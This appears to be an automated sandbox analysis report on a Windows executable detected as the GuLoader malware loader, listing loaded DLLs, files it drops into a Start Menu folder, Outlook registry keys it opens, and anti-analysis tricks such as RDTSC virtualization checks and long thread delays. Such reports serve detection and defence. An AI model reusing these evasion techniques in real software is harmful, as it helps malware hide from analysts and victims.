Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\burdie.ini

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: GuuQOl5kJR.exe PID: 7056, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.1388456956.0000000005E2C000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_10002DB0 push eax; ret	0_2_10002DDE
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_3_030BEE8C push eax; iretd	9_3_030BEEA9
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_3_030BEE2F push eax; iretd	9_3_030BEE65
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_3_030BCF4A push eax; iretd	9_3_030BCF4D
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03079C30 push esp; retf 0309h	9_2_03079D55
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03102C48 pushfd ; iretd	9_2_03102C49
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313201F push esp; ret	9_2_03132025

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File created: C:\Users\user\AppData\Local\Temp\nslCC10.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Isoionone.ang	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Litiscontest.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Untaciturnly135.sem	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tiggerstavens.fes	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udgyd.ini	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udtrttede.ini	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\aktioners.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\begrdeliges.pro	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\burdie.ini	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\cartographer.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\histographies.txt	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\icekhana.txt	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\manxman.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\modstaaet.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\musicianer.spi	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\ndder.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\romantiserendes.ini	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\semiquadrangle.ini	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\sugarcane.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\tinkle.jpg	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\unagitatedness.txt	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	API/Special instruction interceptor: Address: 67A6E64
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	API/Special instruction interceptor: Address: 2B46E64

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	RDTSC instruction interceptor: First address: 6742961 second address: 6742961 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, 9018h 0x00000007 test ch, ch 0x00000009 cmp ebx, ecx 0x0000000b jc 00007FD614BDCC3Ch 0x0000000d test al, dl 0x0000000f test dl, al 0x00000011 inc ebp 0x00000012 inc ebx 0x00000013 cmp cx, dx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	RDTSC instruction interceptor: First address: 2AE2961 second address: 2AE2961 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, 9018h 0x00000007 test ch, ch 0x00000009 cmp ebx, ecx 0x0000000b jc 00007FD614B4DF0Ch 0x0000000d test al, dl 0x0000000f test dl, al 0x00000011 inc ebp 0x00000012 inc ebx 0x00000013 cmp cx, dx 0x00000016 rdtsc

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Memory allocated: 3030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Memory allocated: 338E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Memory allocated: 336D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599850	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599733	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599498	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599390	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595942	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595800	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593735	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Window / User API: threadDelayed 1323			Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Window / User API: threadDelayed 8498			Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nslCC10.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 7100	Thread sleep count: 1323 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599850s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 7100	Thread sleep count: 8498 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599498s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -599281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595942s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595800s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe TID: 1864	Thread sleep time: -593735s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0040276E FindFirstFileW,	9_2_0040276E
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	9_2_00405770
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0040622B FindFirstFileW,FindClose,	9_2_0040622B

